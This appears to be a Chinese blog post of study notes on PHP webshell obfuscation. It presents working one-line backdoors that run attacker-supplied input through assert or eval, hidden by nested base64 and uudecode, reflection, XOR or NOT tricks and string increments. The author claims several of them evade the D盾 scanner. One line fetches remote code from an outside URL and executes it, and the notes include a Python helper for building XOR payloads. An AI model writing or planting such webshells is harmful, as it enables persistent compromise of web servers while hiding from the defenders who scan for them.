在这申明,我不是抄的,这里的代码都是我手打验证了的国光大师傅的文章再记录下来的 戳这里 原文总结的更加丰富!!
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$$_keeeeeeey = $_vaaaaalue;
$_keeeeeeey($$_keeeeeeey);
}
}
class test{
public function __construct($arg)
{
echo "666666";
echo $arg;
}
}
$c=new test('12345');
//这里我们还可以利用substr substr_replace这一类截取字符串的函数对变量进行组合
字符处理函数
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。
这里下面的类不重要,有就行!!!可以起到混淆的作用,可以过D盾
$a='a';
$c=convert_uudecode('05UAP3U0R2DA4;E965D1!.0`` `');
echo "
";
$b=base64_decode(base64_decode(base64_decode($c)));
$c=$a.$b;
$c($_GET[cmd]);
就无限套娃,各种编码就往上套
/**
* 05UAP3U0R2DA4;E965D1!.0`` `
*/
class test{
public function aaa(){
}
}
$a='a';
$reflect=new ReflectionClass('test');
$shell=substr(($reflect->getDocComment()),8,28);
$b=base64_decode(base64_decode(base64_decode(convert_uudecode($shell))));
$c=$a.$b.'ddddddddddddddddgggggggggadsf';
$k=substr($c,0,6);
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$$_keeeeeeey = $_vaaaaalue;
$k($$_keeeeeeey);
}
}
反射类,不太懂诶!!
Class test{
const a='as';
const b='se';
const c='rt';
public function __construct(){
}
}
$para1='';
$para2='';
$reflect=new ReflectionClass('test');
for($i=97;$i<=99;$i++){
$para1=$reflect->getConstant(chr($i));
$para2.=$para1;
}
echo $para2;
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$$_keeeeeeey = $_vaaaaalue;
}
}
$para2($$_keeeeeeey);
lass Test{
const a='as';
const b='se';
const c='rt';
public function __construct()
{
}
}
$refl=new ReflectionClass('Test');
foreach ($refl->getConstants() as $key => $value) {
$value1.=$value;
}
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$_keeeeeey.=$_vaaaaalue;
}
}
echo $_keeeeeey;
$value1($_keeeeeey);
foreach (array('_GET') as $_request){
foreach ($$_request as $_keeeeeeey =>$_vaaaaalue){
$_keeeeeey.=$_vaaaaalue;
}
}
class Test{
public $k='';
public function __construct($para){
$this->k=$para;
}
public function run(){
global $_keeeeeey;
$a=$this->k;
$a($_keeeeeey);
}
}
$refl = new ReflectionClass("Test");
$aab='a';
$cc='ssert';
$aa=$aab.$cc;
$obj=$refl->newInstance($aa);
$obj->run();
//暂无
通过两个空白字符进行异或运算得到二十六个字母里面的所有字符,下面是国光的计算脚本
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []
for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])
for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])
然后把assert的每个字符都通过异或的方式表示,通过.号进行拼接,通过动态函数的方式就可以getshell了
不过这种方式已经上了黑名单了!!!
上面的内容我都测试过,可以过D盾。下面的方法可能不行,不过思路清奇,值得记录,有效性我们有验证,这里只做记录!!!
图是搬运的
这种事从汉字中取出一个字节的数据,将其进行取反得到我们需要的assert中的五个字符!!大佬果然思路清奇
代码是这样的
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
这是给人看的???
字符熵值太大,很容易被识别出来,就和那fuckjs一样一样的
这种方法也上了黑名单了
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,Array中有大小写的A,然后就可以操作了
代码是这样的
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
这就更…
assert($file_get_contents('http://www.0xnull.com/1.txt'));
//其中网址内容为需要执行的代码,当然也可以使用base64编码等方式传入
?>
assert(php://input);
?>
$a=base64_decode('ICRf______UE9T_______VFsncydd') // $_POST['s']
eval($a);
//base64这个解码会把不认识的字符直接跳过掉,这里的下划线就属于不认识的字符
?>
…待补充。。。。。。。。。。。。。。。。。。。。。